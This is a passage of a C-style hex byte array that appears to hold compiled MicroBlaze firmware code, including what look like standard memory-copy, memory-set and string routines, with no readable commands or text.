0x80, 0x00, 0x00, 0x00,
0x10, 0x83, 0x00, 0x00,
0x16, 0x63, 0x98, 0x00,
0xbe, 0x63, 0x01, 0x28,
0x12, 0xd6, 0x18, 0x00,
0xe8, 0x7c, 0x00, 0x08,
0x14, 0x64, 0x18, 0x00,
0xf8, 0x7c, 0x00, 0x08,
0xbc, 0x23, 0xff, 0xb8,
0x10, 0x80, 0x00, 0x00,
0x10, 0x64, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xea, 0xc1, 0x00, 0x20,
0xea, 0xe1, 0x00, 0x24,
0xeb, 0x01, 0x00, 0x28,
0xeb, 0x21, 0x00, 0x2c,
0xeb, 0x41, 0x00, 0x30,
0xeb, 0x61, 0x00, 0x34,
0xeb, 0x81, 0x00, 0x38,
0xeb, 0xa1, 0x00, 0x3c,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x40,
0xbe, 0x07, 0x00, 0xec,
0x12, 0xe7, 0x00, 0x00,
0x12, 0xe0, 0x00, 0x00,
0x13, 0x77, 0x00, 0x00,
0x13, 0xb7, 0x00, 0x00,
0x13, 0x57, 0x00, 0x00,
0xbc, 0x17, 0x00, 0x88,
0xbe, 0x1d, 0x02, 0x50,
0x10, 0xbb, 0x00, 0x00,
0x16, 0x57, 0xd0, 0x03,
0xbe, 0xb2, 0x00, 0x0c,
0x12, 0x77, 0x00, 0x00,
0x12, 0x7a, 0x00, 0x00,
0xe8, 0xf8, 0x00, 0x14,
0xe8, 0x98, 0x00, 0x08,
0xe8, 0xb8, 0x00, 0x00,
0xe8, 0x78, 0x00, 0x10,
0x16, 0x45, 0x18, 0x03,
0xbe, 0xb2, 0x01, 0x3c,
0x12, 0xc7, 0x20, 0x00,
0x16, 0x53, 0xb0, 0x01,
0xbe, 0xb2, 0x01, 0x30,
0x10, 0xdb, 0x00, 0x00,
0xb9, 0xf4, 0x08, 0xa0,
0x10, 0xf6, 0x00, 0x00,
0xe8, 0x98, 0x00, 0x00,
0x10, 0x84, 0xb0, 0x00,
0xf8, 0x98, 0x00, 0x00,
0xb9, 0xf4, 0xf1, 0xc4,
0x10, 0xb8, 0x00, 0x00,
0xbe, 0x23, 0x00, 0x60,
0x17, 0x56, 0xd0, 0x00,
0xbc, 0x1a, 0x01, 0x30,
0xe8, 0x7c, 0x00, 0x08,
0x14, 0x76, 0x18, 0x00,
0xf8, 0x7c, 0x00, 0x08,
0xbe, 0x03, 0xff, 0x38,
0x16, 0xf6, 0xb8, 0x00,
0xbe, 0x37, 0xff, 0x84,
0x13, 0x7b, 0xb0, 0x00,
0xeb, 0x79, 0x00, 0x00,
0xea, 0xf9, 0x00, 0x04,
0x13, 0xa0, 0x00, 0x00,
0xb8, 0x10, 0xff, 0x6c,
0x33, 0x39, 0x00, 0x08,
0xea, 0xd9, 0x00, 0x00,
0xea, 0x79, 0x00, 0x04,
0xb8, 0x10, 0xfe, 0xc0,
0x33, 0x39, 0x00, 0x08,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0xa0, 0x04, 0xa4,
0xe8, 0xd8, 0x00, 0x10,
0xb9, 0xf4, 0xfa, 0x50,
0x80, 0x00, 0x00, 0x00,
0xe4, 0x78, 0x00, 0x0c,
0xa0, 0x63, 0x00, 0x40,
0xf4, 0x78, 0x00, 0x0c,
0xb8, 0x10, 0xfe, 0xe8,
0x30, 0x80, 0xff, 0xff,
0x13, 0x67, 0x00, 0x00,
0xbc, 0x17, 0x00, 0x84,
0xa4, 0x64, 0x02, 0x00,
0xea, 0x78, 0x00, 0x08,
0xbc, 0x03, 0x00, 0xc8,
0x16, 0x57, 0x98, 0x03,
0xbe, 0xb2, 0x00, 0x10,
0x10, 0xf3, 0x00, 0x00,
0xa4, 0x64, 0x00, 0x80,
0xbc, 0x23, 0x01, 0xac,
0x16, 0x47, 0xb8, 0x03,
0xbc, 0xb2, 0x00, 0x0c,
0x10, 0xf7, 0x00, 0x00,
0x12, 0x77, 0x00, 0x00,
0xe8, 0xb8, 0x00, 0x00,
0x10, 0xdb, 0x00, 0x00,
0x12, 0xd7, 0x00, 0x00,
0xb9, 0xf4, 0x07, 0xcc,
0x13, 0x57, 0x00, 0x00,
0xe8, 0x98, 0x00, 0x08,
0xe8, 0x78, 0x00, 0x00,
0x14, 0x93, 0x20, 0x00,
0x10, 0x63, 0x98, 0x00,
0x12, 0x77, 0x00, 0x00,
0xf8, 0x98, 0x00, 0x08,
0xf8, 0x78, 0x00, 0x00,
0xe8, 0x7c, 0x00, 0x08,
0x14, 0x73, 0x18, 0x00,
0xf8, 0x7c, 0x00, 0x08,
0xbe, 0x03, 0xfe, 0x68,
0x16, 0xf6, 0xb8, 0x00,
0xe4, 0x98, 0x00, 0x0c,
0xbe, 0x37, 0xff, 0x88,
0x13, 0x7b, 0xd0, 0x00,
0xeb, 0x79, 0x00, 0x00,
0xea, 0xf9, 0x00, 0x04,
0xb8, 0x10, 0xff, 0x74,
0x33, 0x39, 0x00, 0x08,
0x16, 0x47, 0x98, 0x01,
0xbe, 0x52, 0x00, 0xb8,
0x10, 0xdb, 0x00, 0x00,
0xe8, 0x78, 0x00, 0x28,
0xe8, 0xb8, 0x00, 0x20,
0x99, 0xfc, 0x18, 0x00,
0x10, 0xdb, 0x00, 0x00,
0xbe, 0x63, 0xff, 0x38,
0x12, 0xc3, 0x00, 0x00,
0x17, 0x56, 0xd0, 0x00,
0xbc, 0x3a, 0xfe, 0xd8,
0xb9, 0xf4, 0xf0, 0x84,
0x10, 0xb8, 0x00, 0x00,
0xbe, 0x23, 0xff, 0x20,
0x13, 0xa3, 0x00, 0x00,
0xb8, 0x00, 0xfe, 0xc4,
0xe8, 0xb8, 0x00, 0x00,
0xe8, 0x78, 0x00, 0x10,
0x16, 0x45, 0x18, 0x03,
0xbe, 0xb2, 0x00, 0x3c,
0x12, 0xd3, 0x00, 0x00,
0x16, 0x57, 0x98, 0x03,
0xbe, 0xb2, 0x00, 0x30,
0x10, 0xdb, 0x00, 0x00,
0x10, 0xf3, 0x00, 0x00,
0xb9, 0xf4, 0x07, 0x14,
0x13, 0x53, 0x00, 0x00,
0xe8, 0x98, 0x00, 0x00,
0x10, 0x84, 0x98, 0x00,
0xf8, 0x98, 0x00, 0x00,
0xb9, 0xf4, 0xf0, 0x38,
0x10, 0xb8, 0x00, 0x00,
0xbc, 0x03, 0xff, 0x50,
0xb8, 0x00, 0xfe, 0xd0,
0xe8, 0xf8, 0x00, 0x14,
0x16, 0x47, 0xb8, 0x03,
0xbe, 0x52, 0x00, 0x78,
0x10, 0xdb, 0x00, 0x00,
0xe8, 0x78, 0x00, 0x28,
0xe8, 0xb8, 0x00, 0x20,
0x99, 0xfc, 0x18, 0x00,
0x10, 0xdb, 0x00, 0x00,
0xbe, 0x63, 0xfe, 0xac,
0x12, 0x63, 0x00, 0x00,
0x12, 0xc3, 0x00, 0x00,
0xb8, 0x10, 0xff, 0x1c,
0x13, 0x43, 0x00, 0x00,
0x10, 0xf3, 0x00, 0x00,
0xb9, 0xf4, 0x06, 0xb8,
0x12, 0xd3, 0x00, 0x00,
0xe8, 0x98, 0x00, 0x08,
0xe8, 0x78, 0x00, 0x00,
0x14, 0x93, 0x20, 0x00,
0x10, 0x63, 0x98, 0x00,
0xf8, 0x98, 0x00, 0x08,
0xf8, 0x78, 0x00, 0x00,
0xb8, 0x10, 0xfe, 0x1c,
0x17, 0x56, 0xd0, 0x00,
0x10, 0xf7, 0x00, 0x00,
0xb9, 0xf4, 0x04, 0xe8,
0x30, 0xc0, 0x00, 0x0a,
0xbe, 0x03, 0x00, 0x90,
0x14, 0x7b, 0x18, 0x00,
0x33, 0x43, 0x00, 0x01,
0xb8, 0x10, 0xfd, 0xa0,
0x33, 0xa0, 0x00, 0x01,
0x10, 0xf7, 0x00, 0x00,
0x12, 0x77, 0x00, 0x00,
0xb9, 0xf4, 0x06, 0x68,
0x12, 0xd7, 0x00, 0x00,
0xe8, 0x98, 0x00, 0x08,
0xe8, 0x78, 0x00, 0x00,
0x14, 0x97, 0x20, 0x00,
0x10, 0x63, 0xb8, 0x00,
0xf8, 0x98, 0x00, 0x08,
0xf8, 0x78, 0x00, 0x00,
0xb8, 0x10, 0xfe, 0xa0,
0x13, 0x57, 0x00, 0x00,
0xe8, 0x78, 0x00, 0x10,
0xe8, 0x98, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0xa0, 0x04, 0xa4,
0x10, 0xc3, 0x00, 0x00,
0x16, 0xc3, 0x20, 0x00,
0x13, 0x57, 0xb0, 0x00,
0xb9, 0xf4, 0x2c, 0xdc,
0x10, 0xfa, 0x00, 0x00,
0xbe, 0x03, 0xfd, 0xe4,
0x10, 0xa3, 0x00, 0x00,
0x10, 0xf7, 0x00, 0x00,
0x10, 0x63, 0xb0, 0x00,
0xf8, 0x78, 0x00, 0x00,
0xfb, 0x58, 0x00, 0x14,
0xf8, 0xb8, 0x00, 0x10,
0xfa, 0xf8, 0x00, 0x08,
0xb8, 0x10, 0xfe, 0x14,
0x12, 0x77, 0x00, 0x00,
0x33, 0x57, 0x00, 0x01,
0xb8, 0x10, 0xfd, 0x18,
0x33, 0xa0, 0x00, 0x01,
0xb9, 0xf4, 0xce, 0x00,
0x80, 0x00, 0x00, 0x00,
0xbe, 0x23, 0xfc, 0xb0,
0x30, 0x80, 0xff, 0xff,
0xe4, 0x98, 0x00, 0x0c,
0xb8, 0x10, 0xfc, 0x40,
0xa4, 0x64, 0x00, 0x02,
0x30, 0x21, 0xff, 0xc8,
0xfb, 0x41, 0x00, 0x30,
0x13, 0x45, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x24,
0xfb, 0x21, 0x00, 0x2c,
0x32, 0xfa, 0x00, 0xd8,
0xfb, 0x61, 0x00, 0x34,
0xf9, 0xe1, 0x00, 0x00,
0xfa, 0x61, 0x00, 0x1c,
0xfa, 0xc1, 0x00, 0x20,
0xfb, 0x01, 0x00, 0x28,
0x13, 0x66, 0x00, 0x00,
0xb9, 0xf4, 0xf0, 0x24,
0x13, 0x37, 0x00, 0x00,
0xbc, 0x17, 0x00, 0x60,
0x13, 0x20, 0x00, 0x00,
0xeb, 0x17, 0x00, 0x04,
0xea, 0x77, 0x00, 0x08,
0x30, 0x78, 0xff, 0xff,
0xbc, 0x43, 0x00, 0x44,
0x12, 0xc0, 0x00, 0x00,
0xe4, 0x73, 0x00, 0x0c,
0xbe, 0x03, 0x00, 0x2c,
0x32, 0xd6, 0x00, 0x01,
0xe4, 0x73, 0x00, 0x0e,
0x10, 0xd3, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xaa, 0x43, 0xff, 0xff,
0xbe, 0x12, 0x00, 0x14,
0x10, 0xba, 0x00, 0x00,
0x99, 0xfc, 0xd8, 0x00,
0x80, 0x00, 0x00, 0x00,
0x83, 0x39, 0x18, 0x00,
0x16, 0x56, 0xc0, 0x00,
0xbe, 0x32, 0xff, 0xcc,
0x32, 0x73, 0x00, 0x5c,
0xea, 0xf7, 0x00, 0x00,
0xbc, 0x37, 0xff, 0xac,
0xb9, 0xf4, 0xef, 0xc4,
0x80, 0x00, 0x00, 0x00,
0x10, 0x79, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xea, 0xc1, 0x00, 0x20,
0xea, 0xe1, 0x00, 0x24,
0xeb, 0x01, 0x00, 0x28,
0xeb, 0x21, 0x00, 0x2c,
0xeb, 0x41, 0x00, 0x30,
0xeb, 0x61, 0x00, 0x34,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x38,
0x30, 0x21, 0xff, 0xcc,
0xfa, 0xc1, 0x00, 0x20,
0x12, 0xc5, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x24,
0xfb, 0x21, 0x00, 0x2c,
0x32, 0xf6, 0x00, 0xd8,
0xfb, 0x41, 0x00, 0x30,
0xf9, 0xe1, 0x00, 0x00,
0xfa, 0x61, 0x00, 0x1c,
0xfb, 0x01, 0x00, 0x28,
0x13, 0x46, 0x00, 0x00,
0xb9, 0xf4, 0xef, 0x5c,
0x13, 0x37, 0x00, 0x00,
0xbc, 0x17, 0x00, 0x5c,
0x13, 0x20, 0x00, 0x00,
0xeb, 0x17, 0x00, 0x04,
0xea, 0x77, 0x00, 0x08,
0x30, 0x78, 0xff, 0xff,
0xbc, 0x43, 0x00, 0x40,
0x12, 0xc0, 0x00, 0x00,
0xe4, 0x73, 0x00, 0x0c,
0xbe, 0x03, 0x00, 0x28,
0x32, 0xd6, 0x00, 0x01,
0xe4, 0x73, 0x00, 0x0e,
0xb0, 0x00, 0x00, 0x00,
0xaa, 0x43, 0xff, 0xff,
0xbe, 0x12, 0x00, 0x14,
0x10, 0xb3, 0x00, 0x00,
0x99, 0xfc, 0xd0, 0x00,
0x80, 0x00, 0x00, 0x00,
0x83, 0x39, 0x18, 0x00,
0x16, 0x56, 0xc0, 0x00,
0xbe, 0x32, 0xff, 0xd0,
0x32, 0x73, 0x00, 0x5c,
0xea, 0xf7, 0x00, 0x00,
0xbc, 0x37, 0xff, 0xb0,
0xb9, 0xf4, 0xef, 0x00,
0x80, 0x00, 0x00, 0x00,
0x10, 0x79, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xea, 0xc1, 0x00, 0x20,
0xea, 0xe1, 0x00, 0x24,
0xeb, 0x01, 0x00, 0x28,
0xeb, 0x21, 0x00, 0x2c,
0xeb, 0x41, 0x00, 0x30,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x34,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x60, 0x02, 0x50,
0xb6, 0x0f, 0x00, 0x08,
0x80, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0x30, 0x60, 0x02, 0x14,
0xb6, 0x0f, 0x00, 0x08,
0x80, 0x00, 0x00, 0x00,
0x30, 0x21, 0xff, 0xd8,
0xfa, 0xe1, 0x00, 0x24,
0x12, 0xe6, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0x30, 0xc0, 0x02, 0x08,
0xfa, 0x61, 0x00, 0x1c,
0xfa, 0xc1, 0x00, 0x20,
0xf9, 0xe1, 0x00, 0x00,
0x12, 0xc5, 0x00, 0x00,
0x12, 0x67, 0x00, 0x00,
0x10, 0xa7, 0x00, 0x00,
0xbe, 0x07, 0x00, 0x30,
0x10, 0x86, 0x00, 0x00,
0xb9, 0xf4, 0x36, 0x20,
0x80, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0x30, 0xc0, 0x02, 0x0c,
0xbe, 0x23, 0x00, 0x34,
0x10, 0xb3, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0x30, 0x80, 0x02, 0x08,
0xfa, 0x76, 0x00, 0x20,
0xfa, 0xf6, 0x00, 0x1c,
0x10, 0x64, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xea, 0xc1, 0x00, 0x20,
0xea, 0xe1, 0x00, 0x24,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x28,
0xb9, 0xf4, 0x35, 0xdc,
0x80, 0x00, 0x00, 0x00,
0xbe, 0x03, 0xff, 0xcc,
0x10, 0x80, 0x00, 0x00,
0xb8, 0x10, 0xff, 0xd8,
0x10, 0x64, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0x30, 0x60, 0x02, 0x14,
0xb6, 0x0f, 0x00, 0x08,
0x80, 0x00, 0x00, 0x00,
0x30, 0x21, 0xff, 0xd8,
0xfa, 0x61, 0x00, 0x1c,
0x12, 0x66, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0x30, 0xc0, 0x02, 0x08,
0xfa, 0xc1, 0x00, 0x20,
0xfa, 0xe1, 0x00, 0x24,
0xf9, 0xe1, 0x00, 0x00,
0x12, 0xe5, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xea, 0xc0, 0x04, 0xa4,
0x10, 0xb3, 0x00, 0x00,
0xbe, 0x13, 0x00, 0x30,
0x10, 0x86, 0x00, 0x00,
0xb9, 0xf4, 0x35, 0x7c,
0x80, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0x30, 0xc0, 0x02, 0x0c,
0xbe, 0x23, 0x00, 0x34,
0x10, 0xb3, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0x30, 0x80, 0x02, 0x08,
0xfa, 0x76, 0x00, 0x20,
0xfa, 0xf6, 0x00, 0x1c,
0x10, 0x64, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xea, 0xc1, 0x00, 0x20,
0xea, 0xe1, 0x00, 0x24,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x28,
0xb9, 0xf4, 0x35, 0x38,
0x80, 0x00, 0x00, 0x00,
0xbe, 0x03, 0xff, 0xcc,
0x10, 0x80, 0x00, 0x00,
0xb8, 0x10, 0xff, 0xd8,
0x10, 0x64, 0x00, 0x00,
0x30, 0x21, 0xff, 0xa0,
0xfa, 0x61, 0x00, 0x58,
0xfa, 0xc1, 0x00, 0x5c,
0xf9, 0xe1, 0x00, 0x00,
0xe4, 0x65, 0x00, 0x0c,
0xa6, 0xc3, 0x00, 0x02,
0xbe, 0x16, 0x00, 0x30,
0x12, 0x65, 0x00, 0x00,
0x30, 0x85, 0x00, 0x47,
0x30, 0x60, 0x00, 0x01,
0xf8, 0x65, 0x00, 0x14,
0xf8, 0x85, 0x00, 0x10,
0xf8, 0x85, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x58,
0xea, 0xc1, 0x00, 0x5c,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x60,
0xe4, 0x65, 0x00, 0x0e,
0x90, 0xc3, 0x00, 0x61,
0xbc, 0x46, 0x00, 0x38,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0xa0, 0x04, 0xa4,
0xb9, 0xf4, 0x38, 0xa8,
0x30, 0xe1, 0x00, 0x1c,
0xbe, 0x43, 0x00, 0x24,
0x30, 0x80, 0x20, 0x00,
0xe8, 0x61, 0x00, 0x20,
0xb0, 0x00, 0x00, 0x00,
0xa4, 0x63, 0xf0, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xaa, 0x43, 0x80, 0x00,
0xbe, 0x12, 0x00, 0x7c,
0x8a, 0xc3, 0x24, 0x00,
0xe4, 0x73, 0x00, 0x0c,
0xa0, 0x63, 0x08, 0x00,
0xf4, 0x73, 0x00, 0x0c,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0xa0, 0x04, 0xa4,
0xb9, 0xf4, 0x8b, 0xc8,
0x30, 0xc0, 0x04, 0x00,
0xbe, 0x03, 0x00, 0x80,
0x10, 0xc3, 0x00, 0x00,
0xe4, 0x93, 0x00, 0x0c,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x60, 0x04, 0xa4,
0x30, 0xa0, 0x72, 0x7c,
0xa0, 0x84, 0x00, 0x80,
0xf4, 0x93, 0x00, 0x0c,
0xf8, 0xa3, 0x00, 0x28,
0x30, 0x60, 0x04, 0x00,
0xf8, 0xd3, 0x00, 0x10,
0xf8, 0x73, 0x00, 0x14,
0xf8, 0xd3, 0x00, 0x00,
0xbc, 0x16, 0xff, 0x5c,
0xe4, 0xb3, 0x00, 0x0e,
0xb9, 0xf4, 0x74, 0xa8,
0x90, 0xa5, 0x00, 0x61,
0xbc, 0x03, 0xff, 0x4c,
0xe4, 0x73, 0x00, 0x0c,
0xa0, 0x63, 0x00, 0x01,
0xf4, 0x73, 0x00, 0x0c,
0xb8, 0x00, 0xff, 0x3c,
0xe8, 0x73, 0x00, 0x2c,
0xb0, 0x00, 0x00, 0x00,
0xaa, 0x43, 0xb8, 0x98,
0xbe, 0x32, 0xff, 0x80,
0x30, 0x80, 0x04, 0x00,
0xe4, 0x73, 0x00, 0x0c,
0xf8, 0x93, 0x00, 0x50,
0x80, 0x63, 0x20, 0x00,
0xf4, 0x73, 0x00, 0x0c,
0xb8, 0x00, 0xff, 0x74,
0xe4, 0x73, 0x00, 0x0c,
0x30, 0xb3, 0x00, 0x47,
0x30, 0x80, 0x00, 0x01,
0xa0, 0x63, 0x00, 0x02,
0xf8, 0x93, 0x00, 0x14,
0xf4, 0x73, 0x00, 0x0c,
0xf8, 0xb3, 0x00, 0x10,
0xf8, 0xb3, 0x00, 0x00,
0xb8, 0x00, 0xfe, 0xf0,
0x22, 0x40, 0x00, 0x03,
0x16, 0x47, 0x90, 0x03,
0xbe, 0xb2, 0x00, 0xbc,
0xa4, 0xc6, 0x00, 0xff,
0xa4, 0x65, 0x00, 0x03,
0xbe, 0x23, 0x00, 0xb0,
0x60, 0x66, 0x01, 0x00,
0x10, 0x63, 0x30, 0x00,
0x60, 0x63, 0x01, 0x00,
0x10, 0x63, 0x30, 0x00,
0x60, 0x63, 0x01, 0x00,
0xb8, 0x10, 0x00, 0x48,
0x11, 0x23, 0x30, 0x00,
0xe0, 0x65, 0x00, 0x01,
0x16, 0x43, 0x30, 0x00,
0xbe, 0x12, 0x00, 0x70,
0x31, 0x05, 0x00, 0x01,
0xe0, 0x65, 0x00, 0x02,
0x16, 0x43, 0x30, 0x00,
0xbe, 0x12, 0x00, 0x60,
0x31, 0x05, 0x00, 0x02,
0xe0, 0x65, 0x00, 0x03,
0x16, 0x43, 0x30, 0x00,
0xbe, 0x12, 0x00, 0x50,
0x31, 0x05, 0x00, 0x03,
0x22, 0x40, 0x00, 0x03,
0x16, 0x47, 0x90, 0x03,
0xbe, 0xb2, 0x00, 0x58,
0x30, 0xa5, 0x00, 0x04,
0xe8, 0x65, 0x00, 0x00,
0x30, 0xe7, 0xff, 0xfc,
0x88, 0x63, 0x48, 0x00,
0xb0, 0x00, 0xfe, 0xfe,
0x30, 0x83, 0xfe, 0xff,
0xb0, 0x00, 0x80, 0x80,
0xa4, 0x84, 0x80, 0x80,
0xa8, 0x63, 0xff, 0xff,
0x84, 0x63, 0x20, 0x00,
0xbe, 0x03, 0xff, 0xcc,
0x11, 0x05, 0x00, 0x00,
0xe0, 0x65, 0x00, 0x00,
0x16, 0x43, 0x30, 0x00,
0xbc, 0x32, 0xff, 0x8c,
0xb6, 0x0f, 0x00, 0x08,
0x10, 0x68, 0x00, 0x00,
0xe0, 0x65, 0x00, 0x00,
0x16, 0x43, 0x30, 0x00,
0xbc, 0x12, 0x00, 0x20,
0x30, 0xa5, 0x00, 0x01,
0x30, 0xe7, 0xff, 0xff,
0xaa, 0x47, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xe8,
0x10, 0x60, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x80, 0x00, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x10, 0x65, 0x00, 0x00,
0x22, 0x40, 0x00, 0x0f,
0x16, 0x47, 0x90, 0x03,
0xbe, 0xb2, 0x00, 0x18,
0x10, 0x85, 0x00, 0x00,
0x80, 0x66, 0x28, 0x00,
0xa4, 0x63, 0x00, 0x03,
0xbe, 0x03, 0x00, 0x34,
0x11, 0x05, 0x00, 0x00,
0xbc, 0x07, 0x00, 0x24,
0x11, 0x04, 0x00, 0x00,
0x10, 0xe7, 0x20, 0x00,
0xe0, 0x66, 0x00, 0x00,
0xf0, 0x68, 0x00, 0x00,
0x31, 0x08, 0x00, 0x01,
0x16, 0x47, 0x40, 0x00,
0xbe, 0x32, 0xff, 0xf0,
0x30, 0xc6, 0x00, 0x01,
0xb6, 0x0f, 0x00, 0x08,
0x10, 0x65, 0x00, 0x00,
0xe8, 0x86, 0x00, 0x00,
0x30, 0xe7, 0xff, 0xf0,
0xf8, 0x88, 0x00, 0x00,
0xe8, 0x66, 0x00, 0x04,
0xf8, 0x68, 0x00, 0x04,
0xe8, 0x86, 0x00, 0x08,
0xf8, 0x88, 0x00, 0x08,
0xe8, 0x66, 0x00, 0x0c,
0x30, 0xc6, 0x00, 0x10,
0xf8, 0x68, 0x00, 0x0c,
0x22, 0x40, 0x00, 0x0f,
0x16, 0x47, 0x90, 0x03,
0xbe, 0x52, 0xff, 0xd0,
0x31, 0x08, 0x00, 0x10,
0x22, 0x40, 0x00, 0x03,
0x16, 0x47, 0x90, 0x03,
0xbc, 0xb2, 0x00, 0x2c,
0x10, 0x80, 0x00, 0x00,
0xc8, 0x66, 0x20, 0x00,
0x30, 0xe7, 0xff, 0xfc,
0xd8, 0x68, 0x20, 0x00,
0x22, 0x40, 0x00, 0x03,
0x16, 0x47, 0x90, 0x03,
0xbe, 0x52, 0xff, 0xec,
0x30, 0x84, 0x00, 0x04,
0x10, 0xc4, 0x30, 0x00,
0x11, 0x04, 0x40, 0x00,
0xb8, 0x10, 0xff, 0x68,
0x10, 0x88, 0x00, 0x00,
0x10, 0x86, 0x00, 0x00,
0x16, 0x45, 0x30, 0x03,
0xbe, 0xb2, 0x00, 0x48,
0x11, 0x25, 0x00, 0x00,
0x11, 0x06, 0x38, 0x00,
0x16, 0x48, 0x28, 0x03,
0xbc, 0xb2, 0x00, 0x38,
0xbc, 0x07, 0x00, 0x2c,
0x10, 0x85, 0x38, 0x00,
0x14, 0xe7, 0x20, 0x00,
0x31, 0x08, 0xff, 0xff,
0xe0, 0x68, 0x00, 0x00,
0x30, 0x84, 0xff, 0xff,
0xf0, 0x64, 0x00, 0x00,
0x16, 0x47, 0x20, 0x00,
0xbe, 0x32, 0xff, 0xf0,
0x31, 0x08, 0xff, 0xff,
0x31, 0x08, 0x00, 0x01,
0xb6, 0x0f, 0x00, 0x08,
0x10, 0x65, 0x00, 0x00,
0x22, 0x40, 0x00, 0x0f,
0x16, 0x47, 0x90, 0x03,
0xbe, 0x52, 0x00, 0x34,
0x80, 0x64, 0x28, 0x00,
0xbc, 0x07, 0xff, 0xe8,
0x11, 0x09, 0x00, 0x00,
0x10, 0xe7, 0x48, 0x00,
0xe0, 0x66, 0x00, 0x00,
0xf0, 0x68, 0x00, 0x00,
0x31, 0x08, 0x00, 0x01,
0x16, 0x47, 0x40, 0x00,
0xbe, 0x32, 0xff, 0xf0,
0x30, 0xc6, 0x00, 0x01,
0xb6, 0x0f, 0x00, 0x08,
0x10, 0x65, 0x00, 0x00,
0xa4, 0x63, 0x00, 0x03,
0xbe, 0x23, 0xff, 0xd0,
0x11, 0x05, 0x00, 0x00,
0x10, 0xc4, 0x00, 0x00,
0xe8, 0x86, 0x00, 0x00,
0x30, 0xe7, 0xff, 0xf0,
0xf8, 0x88, 0x00, 0x00,
0xe8, 0x66, 0x00, 0x04,
0xf8, 0x68, 0x00, 0x04,
0xe8, 0x86, 0x00, 0x08,
0xf8, 0x88, 0x00, 0x08,
0xe8, 0x66, 0x00, 0x0c,
0x30, 0xc6, 0x00, 0x10,
0xf8, 0x68, 0x00, 0x0c,
0x22, 0x40, 0x00, 0x0f,
0x16, 0x47, 0x90, 0x03,
0xbe, 0x52, 0xff, 0xd0,
0x31, 0x08, 0x00, 0x10,
0x22, 0x40, 0x00, 0x03,
0x16, 0x47, 0x90, 0x03,
0xbc, 0xb2, 0x00, 0x2c,
0x10, 0x80, 0x00, 0x00,
0xc8, 0x66, 0x20, 0x00,
0x30, 0xe7, 0xff, 0xfc,
0xd8, 0x68, 0x20, 0x00,
0x22, 0x40, 0x00, 0x03,
0x16, 0x47, 0x90, 0x03,
0xbe, 0x52, 0xff, 0xec,
0x30, 0x84, 0x00, 0x04,
0x10, 0xc6, 0x20, 0x00,
0x11, 0x04, 0x40, 0x00,
0xb8, 0x10, 0xff, 0x58,
0x11, 0x28, 0x00, 0x00,
0xa4, 0xc6, 0x00, 0xff,
0x22, 0x40, 0x00, 0x03,
0x16, 0x47, 0x90, 0x03,
0xbe, 0xb2, 0x00, 0x14,
0x10, 0x85, 0x00, 0x00,
0xa4, 0x65, 0x00, 0x03,
0xbe, 0x03, 0x00, 0x2c,
0x60, 0x66, 0x01, 0x00,
0xbc, 0x07, 0x00, 0x1c,
0x90, 0x66, 0x00, 0x60,
0x10, 0xe7, 0x20, 0x00,
0xf0, 0x64, 0x00, 0x00,
0x30, 0x84, 0x00, 0x01,
0x16, 0x47, 0x20, 0x00,
0xbc, 0x32, 0xff, 0xf4,
0xb6, 0x0f, 0x00, 0x08,
0x10, 0x65, 0x00, 0x00,
0x80, 0x66, 0x18, 0x00,
0xb0, 0x00, 0x00, 0x01,
0x60, 0x83, 0x00, 0x00,
0x80, 0x63, 0x20, 0x00,
0x22, 0x40, 0x00, 0x0f,
0x16, 0x47, 0x90, 0x03,
0xbe, 0xb2, 0x00, 0x38,
0x10, 0x85, 0x00, 0x00,
0x30, 0xe7, 0xff, 0xf0,
0xf8, 0x64, 0x00, 0x00,
0xf8, 0x64, 0x00, 0x04,
0xf8, 0x64, 0x00, 0x08,
0xf8, 0x64, 0x00, 0x0c,
0x22, 0x40, 0x00, 0x0f,
0x16, 0x47, 0x90, 0x03,
0xbe, 0x52, 0xff, 0xe4,
0x30, 0x84, 0x00, 0x10,
0x22, 0x40, 0x00, 0x03,
0x16, 0x47, 0x90, 0x03,
0xbc, 0xb2, 0xff, 0x90,
0x30, 0xe7, 0xff, 0xfc,
0xf8, 0x64, 0x00, 0x00,
0x22, 0x40, 0x00, 0x03,
0x16, 0x47, 0x90, 0x03,
0xbe, 0x52, 0xff, 0xf0,
0x30, 0x84, 0x00, 0x04,
0xb8, 0x00, 0xff, 0x74,
